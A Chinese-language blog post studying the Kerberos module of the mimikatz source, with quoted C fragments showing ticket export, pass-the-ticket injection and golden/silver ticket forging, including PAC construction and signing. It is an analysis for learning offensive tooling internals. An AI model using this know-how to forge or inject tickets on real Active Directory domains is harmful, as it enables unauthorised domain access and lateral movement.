mimikatz源码学习-Kerberos模块

mimikatz是内网渗透中的一大利器,本文主要讨论学习mimikatz中与Kerberos协议相关的代码

mimikatz的Kerberos模块中常用大概为:

1、 kerberos::list :列出当前的所有票据(当前用户所在session,效果等同于命令klist
2、kerberos::ptt :Pass The Ticket,即票据传递
3、kerberos::golden :伪造票据,如黄金票据、白银票据

 

LsaCallKerberosPackage

LsaCallKerberosPackagentsecapi.h下的一个API,MSDN对它的描述如下:

The LsaCallAuthenticationPackage function is used by a logon application to communicate with an authentication package.
This function is typically used to access services provided by the authentication package.

大意为这个函数用作登录程序和身份认证包通信,但通常被用来访问身份认证包提供的服务。在mimikatz的源码中列出票据和票据传递两个功能模块都围绕这个函数展开,通过传递不同的参数得到不同的执行结果。

函数原型如下:

NTSTATUS LsaCallAuthenticationPackage(
  HANDLE    LsaHandle, 
  ULONG     AuthenticationPackage, // 提供身份认证的标识符
  PVOID     ProtocolSubmitBuffer, // 用于传递给身份验证包的缓冲区
  ULONG     SubmitBufferLength,
  PVOID     *ProtocolReturnBuffer, // 接收从验证包返回的数据的缓冲区
  PULONG    ReturnBufferLength,
  PNTSTATUS ProtocolStatus
);

列出票据

mimikatz的源码中这个功能对应的代码比较简单,只是调用了LsaCallAuthenticationPackage,然后对返回的数据进行解析:

status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus);
  if(NT_SUCCESS(status))
  {
    if(NT_SUCCESS(packageStatus))
    {
      for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)
      {
        kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype (pKerbCacheResponse->Tickets[i].EncryptionType));
        kprintf(L"\n   Start/End/MaxRenew: ");
        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");
        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");
        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime);
        kprintf(L"\n   Server Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i]. ServerRealm);
        kprintf(L"\n   Client Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i]. ClientRealm);
        kprintf(L"\n   Flags %08x    : ", pKerbCacheResponse->Tickets[i].TicketFlags);
        kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags);

注意到,mimikatz使用LsaCallKerberosPackageLsaCallAuthenticationPackage做了简要封装,实际上省去了前两个参数,前两个参数被当作全局变量在初始化时完成赋值,所以这里我们只需要关注函数执行之后返回的数据,代码中对应为变量pKerbCacheResponse,变量对应的结构体在MSDN中描述如下:

typedef struct _KERB_QUERY_TKT_CACHE_RESPONSE {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
  ULONG                      CountOfTickets;  // 数组Tickets中的票据数量
  KERB_TICKET_CACHE_INFO     Tickets[ANYSIZE_ARRAY]; 
} KERB_QUERY_TKT_CACHE_RESPONSE, *PKERB_QUERY_TKT_CACHE_RESPONSE;

其中,结构体KERB_TICKET_CACHE_INFO描述如下,用来描述缓存的Kerberos票据相关信息:

typedef struct _KERB_TICKET_CACHE_INFO {
  UNICODE_STRING ServerName;
  UNICODE_STRING RealmName;
  LARGE_INTEGER  StartTime;
  LARGE_INTEGER  EndTime;
  LARGE_INTEGER  RenewTime;
  LONG           EncryptionType;
  ULONG          TicketFlags;
} KERB_TICKET_CACHE_INFO, *PKERB_TICKET_CACHE_INFO;

导出票据时同样是调用这个API,只是这时我们需要关注用于传递请求的参数,即LsaCallAuthenticationPackage的第三个参数ProtocolSubmitBuffer,对应的结构体在MSDN中描述为:

typedef struct _KERB_RETRIEVE_TKT_REQUEST {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
  LUID                       LogonId;
  UNICODE_STRING             TargetName; // 目标服务名
  ULONG                      TicketFlags; // 用于标记票据用途
  ULONG                      CacheOptions; // 搜索缓存的选项,KERB_RETRIEVE_TICKET_AS_KERB_CRED表示以Keberos凭证的形式返回票据
  LONG                       EncryptionType;
  SecHandle                  CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

对应的,用于接收请求的票据用结构体_KERB_RETRIEVE_TKT_RESPONSE描述,该结构体只包含一个成员结构体KERB_EXTERNAL_TICKET,而这个结构体的成员EncodedTicketSizeEncodedTicket分别为返回的票据大小和票据内容。

其实不难发现,仅需要查询缓存中的票据时,使用结构体KERB_QUERY_TKT_CACHE_REQUESTKERB_QUERY_TKT_CACHE_RESPONSE并且用于请求的结构体变量置零即可;但是想要获取票据内容时就需要使用结构体KERB_RETRIEVE_TKT_REQUESTKERB_RETRIEVE_TKT_RESPONSE了,与查询不同,获取票据内容时需要在请求中指明请求的类型(MessageType)、搜索缓存的选项(CacheOptions)、票据标志(TicketFlags)、目标服务名(TargetName)。

不过需要注意的是,结构体成员中UNICODE_STRING对应的是结构体类型,其定义如下:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

所以,对TargetName赋值时,需要单独的一块空间存放Buffer对应的值,mimikatz的处理如下:

szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;
if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData))
...
...
...
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);

此处的思路是header+content,这样做可以保证数据在同一块内存中,避免申请多块内存。

至此,其实列出缓存中的票据以及导出票据的分析已经结束,但是我们还忽略了两个参数,即在mimikatz中以全局变量的形式传入的句柄和身份认证包标识。MSDN的句柄LsaHandle的描述为从与调用函数 LsaRegisterLogonProcessLsaConnectUntrusted获得,而身份认证包标识是从函数LsaLookupAuthenticationPackage中获取,mimikatz中的代码也确实如此:

NTSTATUS status = LsaConnectUntrusted(&g_hLSA);
  if(NT_SUCCESS(status))
  {
    status = LsaLookupAuthenticationPackage(g_hLSA, &kerberosPackageName, &g_AuthenticationPackageId_Kerberos);
    g_isAuthPackageKerberos = NT_SUCCESS(status);

其中,kerberosPackageName为结构体LSA_STRING类型的变量,赋值为MICROSOFT_KERBEROS_NAME_A,指定为ANSI版本的Kerberos身份认证包名称。

如果要清空缓存,就需要用到结构体_KERB_PURGE_TKT_CACHE_REQUEST了,它描述了想要删除的缓存票据的信息,在MSDN中的定义如下:

typedef struct _KERB_PURGE_TKT_CACHE_REQUEST {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
  LUID                       LogonId;
  UNICODE_STRING             ServerName;
  UNICODE_STRING             RealmName;
} KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST;

其中需要注意的是第一个成员(MessageType),必须设置为KerbPurgeTicketCacheMessage

票据传递

票据传递部分同样是使用LsaCallAuthenticationPackage,只不过这次使用的结构体是KERB_SUBMIT_TKT_REQUEST,在NTSecAPI.h中对该结构体的定义如下:

typedef struct _KERB_SUBMIT_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID LogonId;
    ULONG Flags;
    KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
    ULONG KerbCredSize;
    ULONG KerbCredOffset;
} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;

关于这个结构体的描述在MSDN中似乎没有发现,不过根据其他结构体和字段的命名不难猜测相应字段的含义。对比mimikatz源码来看其实只需要设置三部分内容,一是MessageType,这里需要设置为固定内容:KerbSubmitTicketMessage;剩下的两部分内容即票据对应的大小和位置(因为票据数据是追加在结构体后的,所以这里偏移是结构体的大小),设置完之后调用函数LsaCallAuthenticationPackage即可完成票据传递:

submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;
if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize))
{
  pKerbSubmit->MessageType = KerbSubmitTicketMessage;
  pKerbSubmit->KerbCredSize = dataSize;
  pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
  RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize);

  status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);

 

伪造票据

mimikatz中描述票据的结构体定义如下:

typedef struct _KIWI_KERBEROS_TICKET {
  PKERB_EXTERNAL_NAME  ServiceName;
  LSA_UNICODE_STRING   DomainName;
  PKERB_EXTERNAL_NAME  TargetName;
  LSA_UNICODE_STRING   TargetDomainName;
  PKERB_EXTERNAL_NAME  ClientName;
  LSA_UNICODE_STRING   AltTargetDomainName;

  LSA_UNICODE_STRING Description;

  FILETIME StartTime;
  FILETIME EndTime;
  FILETIME RenewUntil;

  LONG  KeyType;
  KIWI_KERBEROS_BUFFER  Key;

  ULONG  TicketFlags;
  LONG   TicketEncType;
  ULONG  TicketKvno;
  KIWI_KERBEROS_BUFFER  Ticket;
} KIWI_KERBEROS_TICKET, *PKIWI_KERBEROS_TICKET;

从结构体定义其实可以看出ticket所包含的内容,在Kerberos认证中,以AS-REP为例,我们知道AS返回给用户两部分内容: 一是TGT,二是使用用户密码hash加密的session key。其中,TGT包含了session key(登录会话密匙)、失效时间以及pac信息(特权属性证书)等内容,不过在mimikatz中pac信息是单独生成的,所以上述的结构体定义中并不包含这部分内容。

从生成票据的代码流程来看,生成TGT和TGS的代码基本一致,最后会生成哪种票据取决于传递的参数,比如TGT需要krbtgt的哈希而TGS需要请求的服务。代码中生成票据的代码主要是函数kuhl_m_kerberos_golden_data,首先根据传入的参数完成上述定义的ticket结构体的初始化,然后根据是否传入sid来决定是否生成签名的pac:

if(sid) // we want a PAC !
{
  if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids))
  {
    if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize))
    {
      kprintf(L" * PAC generated\n");
      status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize);
      if(NT_SUCCESS(status))
        kprintf(L" * PAC signed\n");
    }
  }
}

随后就是生成对应的ticket,详细来讲就是先按照固定格式生成要加密的内容,然后对这部分内容加密,最后返回加密的结果。对于加密部分,围绕一个重要函数:CDLocateCSystem,他第二个参数传入的是结构体,这个结构体包含了指向加解密函数的指针等信息,定义如下:

typedef struct _KERB_ECRYPT {
  ULONG EncryptionType;
  ULONG BlockSize;
  ULONG ExportableEncryptionType;
  ULONG KeySize;
  ULONG HeaderSize;
  ULONG PreferredCheckSum;
  ULONG Attributes;
  PCWSTR Name;
  PKERB_ECRYPT_INITIALIZE Initialize;
  PKERB_ECRYPT_ENCRYPT Encrypt;
  PKERB_ECRYPT_DECRYPT Decrypt;
  PKERB_ECRYPT_FINISH Finish;
  union {
    PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;
    PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;
  };
  PKERB_ECRYPT_RANDOMKEY RandomKey;
  PKERB_ECRYPT_CONTROL Control;
  PVOID unk0_null;
  PVOID unk1_null;
  PVOID unk2_null;
} KERB_ECRYPT, *PKERB_ECRYPT;

CDLocateCSystem是Windows的一个API,位于cryptdll.dll,但粗略的搜索了一下并没有相关说明,似乎微软并未公开它,不过根据上述结构体以及dll文件,可以大概分析猜测这个api的作用。cryptdll.dll这个文件的导出函数并不多,而且可以大概猜测函数可能的功能:

cryptdll

导入上述定义的结构体,查看CDLocateCSystem对应的伪代码,发现这个函数其实就是通过传入的type从链表中寻找对应的块:

CDLocateCSystem

再接着跟一下变量cCSystems, 可以发现只有以后函数对这个变量有赋值操作,跟到函数CDRegisterCSystem,发现这个函数实际上是通过传入的参数对变量赋值:

CDRegisterCSystem.png

再看这个函数的调用处,发现注册了一系列的密码算法:

LibAttach

继续分析可以发现LibAttach在DllMain中被调用,也就是说这个dll文件一被加载,就会注册各种密码学算法,供相关API使用,所以代码中调用CDLocateCSystem的目的是根据传入的eType获取一个用于eType对应类型的密码算法的实现,进而完成相应的加密或解密操作。根据结构体的成员定义以及mimikatz中相关的加密代码,可以猜测cryptdll中注册的密码学算法,使用方法基本一致,主要有一下流程:

  1. 通过CDLocateCSystem获取对应的结构体数据。
  2. 初始化操作(包括设置密钥、加解密数据大小等)。
  3. 加解密操作。
  4. 销毁相关环境。

回到正题,生成加密的ticket信息后,“格式化”票据信息生成票据,然后将票据写入缓存或者文件。

整个票据的生成流程大致如上所述,不过整个过程忽略了两个地方:一是PAC是如何生成的;二是加密票据前后调用的两个函数kuhl_m_kerberos_ticket_createAppEncTicketPartkuhl_m_kerberos_ticket_createAppKrbCred

PAC生成流程

PAC生成大体上分三个部分,也分别对应三个函数:

1、生成验证信息:kuhl_m_pac_infoToValidationInfo
2、生成PAC:kuhl_m_pac_validationInfo_to_PAC
3、PAC签名:kuhl_m_pac_signature

对于第一部分,可以透过结构体PKERB_VALIDATION_INFO来分析生成验证信息需要的内容,结构体的定义如下:

typedef struct _KERB_VALIDATION_INFO {
  FILETIME LogonTime;
  FILETIME LogoffTime;
  FILETIME KickOffTime;
  FILETIME PasswordLastSet;
  FILETIME PasswordCanChange;
  FILETIME PasswordMustChange;
  RPC_UNICODE_STRING EffectiveName;
  RPC_UNICODE_STRING FullName;
  RPC_UNICODE_STRING LogonScript;
  RPC_UNICODE_STRING ProfilePath;
  RPC_UNICODE_STRING HomeDirectory;
  RPC_UNICODE_STRING HomeDirectoryDrive;
  USHORT LogonCount;
  USHORT BadPasswordCount;
  ULONG UserId;
  ULONG PrimaryGroupId;
  ULONG GroupCount;
  /* [size_is] */ PGROUP_MEMBERSHIP GroupIds;
  ULONG UserFlags;
  USER_SESSION_KEY UserSessionKey;
  RPC_UNICODE_STRING LogonServer;
  RPC_UNICODE_STRING LogonDomainName;
  PISID LogonDomainId;
  ULONG Reserved1[ 2 ];
  ULONG UserAccountControl;
  ULONG SubAuthStatus;
  FILETIME LastSuccessfulILogon;
  FILETIME LastFailedILogon;
  ULONG FailedILogonCount;
  ULONG Reserved3;
  ULONG SidCount;
  /* [size_is] */ PKERB_SID_AND_ATTRIBUTES ExtraSids;
  PISID ResourceGroupDomainSid;
  ULONG ResourceGroupCount;
  /* [size_is] */ PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO, *PKERB_VALIDATION_INFO;

关于结构体中的几个和时间相关的成员,其实只需要关注LogonTime,它由传入的结构体变量lifeTimeData中的TicketStart成员赋值,后者的数据内容通过GetSystemTimeAsFileTime获得,这个msdn对这个API的解释为:获取当前系统的时间。当然,最后赋值给LogonTime的值是处理之后的值。而对于剩余的和时间相关的成员,统一赋值为0x7fffffffffffffffll。

GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);
*(PULONGLONG) &lifeTimeData.TicketStart -= *(PULONGLONG) &lifeTimeData.TicketStart % 10000000 - ((LONGLONG) wcstol(szLifetime, NULL, 0) * 10000000 * 60);

此外,UserIdGroupIdsGroupCount等成员实际上是从命令行参数获得,但通常情况下生成票据我们似乎并没有用到这些参数,所以传入的值实际上是NULL。
获取到验证信息之后,就根据这些信息生成APC,PAC的总体结构如下:

pac_structure

关于PAC结构的代码如下:

(*pacType)->cBuffers = n;
(*pacType)->Version = 0;

(*pacType)->Buffers[0].cbBufferSize = szLogonInfo;
(*pacType)->Buffers[0].ulType = PACINFO_TYPE_LOGON_INFO;
(*pacType)->Buffers[0].Offset = offsetData;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[0].Offset, pLogonInfo, (*pacType)->Buffers[0].cbBufferSize);

(*pacType)->Buffers[1].cbBufferSize = szClientInfo;
(*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;
(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize);

if(szClaimsAligned)
{
  (*pacType)->Buffers[2].cbBufferSize = szClaims;
  (*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS;
  (*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;
  RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);
}

(*pacType)->Buffers[n - 2].cbBufferSize = szSignature;
(*pacType)->Buffers[n - 2].ulType = PACINFO_TYPE_CHECKSUM_SRV;
(*pacType)->Buffers[n - 2].Offset = (*pacType)->Buffers[n - 3].Offset + SIZE_ALIGN((*pacType)->Buffers[n - 3].cbBufferSize, 8);
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 2].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));

(*pacType)->Buffers[n - 1].cbBufferSize = szSignature;
(*pacType)->Buffers[n - 1].ulType = PACINFO_TYPE_CHECKSUM_KDC;
(*pacType)->Buffers[n - 1].Offset = (*pacType)->Buffers[n - 2].Offset + szSignatureAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 1].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));

其中,第一部分(pLogonInfo)即对kuhl_m_pac_infoToValidationInfo的结果进行加密操作后的内容,这里加密实际上是调用的kull_m_rpc_Generic_Encode,不过实际上最后的加密调用了NdrMesTypeEncode2,它是midles.h下的一个函数。

关于客户端信息(ClientInfo),首先需要明确的是这部分内容是明文信息,主要内容为用户名。Cliams其实也是加密的数据,是否包含这部分内容取决于是否传入参数Claims,显然通常情况下我们并没有传入这一项,所以这里不再继续跟进。

至此,PAC的主体已经说明结束,剩余两部分保存的是主体部分的校验和。计算校验和使用的是CDLocateCheckSum,这个API来自cryptdll.dll,用法和CDLocateCSystem类似。

两个函数

其实kuhl_m_kerberos_ticket_createAppEncTicketPartkuhl_m_kerberos_ticket_createAppKrbCred都是围绕两个结构体展开的即:

typedef struct berElement {
  UNICODE PTCHAR opaque; 
} BerElement;

typedef struct berval {
  ULONG bv_len;
  UNICODE PTCHAR bv_val;
} LDAP_BERVAL, *PLDAP_BERVAL, BERVAL, *PBERVAL;

涉及到这两个结构体的函数位于winber.h,不过对于前面提到的两个函数,我们们只需要关注两个函数:

1、ber_printf,顾名思义,其实就是用来格式化数据的,mimikatz中的kull_m_asn1_GenTime其实也是对该函数的封装
2、ber_flatten,MSDN的解释是从BerElement结构中获取数据保存到一个berval结构中,换句话说其实也就是对数据的进一步“格式化”

关于头文件winber.h,其实MSDN上也说明了是用于LDAP的,因为AD域是基于LDAP的,所以这里对数据的一些“格式化”操作也是事出有因。
此外,使用这个头文件时还需引入windows.hwinldap.h,并且添加依赖项:wldap32.lib(#pragma comment(lib,"wldap32.lib"))

当然,分析这两个函数的主要目的并不它实现了什么样的功能,而是透过这个功能(对数据“格式化”)得知票据的加密部分的内容构成,以及最后得到的票据内容构成。
首先看加密部分的内容构成,其实从函数传入的参数来看,这部分应该包含了整个票据的所有信息,因为函数kuhl_m_kerberos_ticket_createAppEncTicketPart获取的参数是记录票据信息的结构体数据和pac信息,查看函数的实现部分其实和猜想大差不差:按照固定的顺序将域名、用户名、生成/失效时间等信息通过ber_printf写入到BerElement类型的变量随后通过ber_flatten得到最终需要加密的数据格式(存储到结构体berval类型的变量中),并返回给调用者。

透过mimikatz的代码,其实可以看出要加密的内容大体的格式:

ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));
kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags);
ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));
kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length);
ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));
kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName);
ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));
kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName);
ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));
kull_m_asn1_GenTime(pBer, &ticket->StartTime);
ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));
kull_m_asn1_GenTime(pBer, &ticket->StartTime);
ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));
kull_m_asn1_GenTime(pBer, &ticket->EndTime);
ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));
kull_m_asn1_GenTime(pBer, &ticket->RenewUntil);
ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */
if(PacAuthData && PacAuthDataSize)
{
  ber_printf(pBer, "t{{{t{i}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA), MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_IF_RELEVANT, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA));
  if(pBerPac = ber_alloc_t(LBER_USE_DER))
  {
    ber_printf(pBerPac, "{{t{i}t{o}}}", MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_WIN2K_PAC, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA), PacAuthData, PacAuthDataSize);
    if(ber_flatten(pBerPac, &pBerValPac) >= 0)
      ber_printf(pBer, "o", pBerValPac->bv_val, pBerValPac->bv_len);
    ber_free(pBerPac, 1);
  }
  ber_printf(pBer, "}}}}");
}
ber_printf(pBer, "}}");

这里值得注意的是PAC信息是作为一个可选项加入到要加密内容的尾部的,而是否包含PAC信息取决于生成票据时是否传入SID。对于最后载入缓存或写入文件的内容,即kuhl_m_kerberos_ticket_createAppKrbCred的返回值也是通过同样的形式构造数据,最后调用ber_flatten生成berval结构的数据。

(完)